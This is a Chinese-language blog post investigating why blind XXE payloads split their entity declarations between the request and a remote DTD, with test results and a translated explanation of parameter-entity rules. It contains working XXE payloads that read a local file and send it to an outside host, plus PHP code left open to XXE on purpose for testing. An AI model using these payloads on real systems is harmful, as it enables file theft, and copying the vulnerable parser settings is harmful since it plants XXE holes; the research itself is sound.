payload1是xxe一个经典payload。一般用于无回显的blind xxe。但是问题来了,为何Payload作者将payload内容分两部分(比如像payload1这样),而不是将所有攻击实体放到一个payload中(比如像payload2这样)。注意:Blind XXE是没有回显的,为了测试方便,我将payload有回显的显示了。

测试代码

1
2
3
4
5
6
7
8
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
print_r($creds);
?>

payload1

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://www.site.com/evilt.dtd">
%dtd;
]>
<roottag>&send;</roottag>

evilt.dtd

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.site.com/?%file;'>">
%all;

payload2

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.site.com/?%file;'>">
%all;
]>
<roottag>&send;</roottag>

钻这个牛角尖的意义:

  • 如果没有公网空间payload1将无法使用,而payload2可行的话就可以解决payload1的缺陷。
  • payload1的作者为何把payload分两部分构造为payload1,而不是分一部分构造成功payload2。
  • 更深入的了解xxe payload的构造。

我在payload1能执行成功的情况下,有测试了payload2。结果令人失望,没有成功。难道原因是payload作者也想把所有攻击内容放在一个payload只是这样无法执行成功?网上看了一下全是清一色的经典payload的样式。看来只有我来自己构造一个能实现payload1功能,同时包含所有攻击代码的payload了。

错误信息

第一个想是通过查看错误信息来找原因。

报错PEReferences forbidden in internal subset in Entity

根据报错,我将http://127.0.0.1/?%file;中的%编码为

还是报错Invalid URI: http://127.0.0.1/?&#x25; in Entity,说明&#x25;file只是变成了%file,但是%file没有解析为实体file的值。

我又将第二个实体中的SYSTEM去掉,也就是第二个实体我声明为内部实体,结果&#x25;file成功解析为实体file内容。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % all "<!ENTITY send 'http://127.0.0.1/?&#x25;file;'>">
%all;
]>
<roottag>&send;</roottag>

这令我很是不解,为何内部声明%file能够成功解析,为何外部声明时不行?我暂时理解为,外部声明需要多一个步骤URL合法性检验。说明在%file还没有被解析为file实体值时,URL合法性检验就开始了。而是在HTTP协议中%与url编码中的%有冲突了。

然而一切都是我的猜想而已。想了一下,xml解析器是在php内部,无法知道它解析一个xml的具体细节。除非我可以调式源代码(目前没有这能力。),那下面我只能看看,有没有权威的文档去解释这个问题了。

权威文档

《XML Schema,DTD,and Entity Attacks》一文中有关XXE和参数实体的部分。

英文资料

书到用时方恨少,读然好想写英语。这次只能借助百度翻译和有道翻译了。下面是针对于英文材料翻译和我的一些理解。

参数实体是一种特殊类型的实体,它只能在DTD定义本身中使用。这些实体与文档实体的定义基本相同,但它们的行为更像(但不完全像)代码宏,并允许使用它们。
更灵活的DTD定义。考虑以下内容,其中的an-element被定义为一个常规参数实体,
远程dtd被定义为一个外部参数实体:

1
2
3
4
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element;
%remote-dtd;

参数实体的定义与文档实体几乎相同,除了附加的”%”符号之外。
对参数实体的引用必须出现在DTD中,并且必须使用”%…;”语法。此外,对于在DTD中使用参数实体的上下文,通常会有各种各样的限制。一个重要的限制(在几个XML解析器中一致地出现)是,虽然参数实体可以定义用于引用的DTD语法(例如”%an-element”),但是它可能不会定义一个立即被用于另一个DTD标记的值。也就是说,这个语法会在我们测试的解析器中失败:

1
2
<!ENTITY % pm "subtag">
<!ELEMENT mytag (%pm;)>

然而,如果实体引用存在于子DTD中,这种样式的语法通常会成功。也就是说,如果文档的DTD引用外部实体,包括使用参数实体引用的外部文档的值,并且外部文档引用前面定义的实体,那么动态构建的DTD标记将被解释为人们所期望的。

以上是对英文材料的翻译。下面是我的理解。通过将英文文档中的第一例子提交到我们的本地测试靶机,发现没有保存,可以正常打印xml对象,说明解析成功。

英文文章第一例子,可以解析

但是第二个就通常可能无法解析。

英文文章第二例子,无法解析

文章说第二例子通常是无法解析的,并没有说一定无法解析。说明大部分情况下是无法解析的,因为xml的解析器在php,java,C#等等中情况会有一些不一样。我们暂且认为文章中第二个xml就是无法解析吧!

按照文章的意思,如果文档的DTD引用外部实体,包括使用参数实体引用的外部文档的值,并且外部文档引用前面定义的实体,那么动态构建的DTD标记将被解释为人们所期望的。

于是我将第二个xml写为

1
2
3
<!ENTITY % pm "subtag">
<!ENTITY % remote SYSTEM "http://127.0.0.1/remote.dtd">
%remote;

remote.dtd

1
<!ELEMENT mytag (%pm;)>

对英文文章第二例子的改正

这样之后不在报错。

现在回到本文的问题,我们想构造的payload其实道理和英文材料中的第二个xml很相似。
我们在上面声明% file实体,在下一行就直接通过%file;使用它,按照英文材料的意思这样通常是解析不成功的。那么我们通过错误信息章节中遇到的内部声明&#x25;file可以解析,而外部声明为何无法解析。也许这就是英文材料中说的通常的情况的例外。我承认这解释有点不负责任,没有论证。所以等到有能力可以调式php源码时,才深挖真正的原因吧。

最后说一下目前的结论吧。虽然一不定是正确的,至少是可以让我能暂时安心睡觉的一个解释。 payload作者之所以把paylaod内容分两部分写,是因为无法实现分一部分写。分一部分写,无法让payload执行成功!

该文章关于该问题提出了一些想法。XXE漏洞以及Blind XXE总结

参考文章

XML Schema,DTD,and Entity Attacks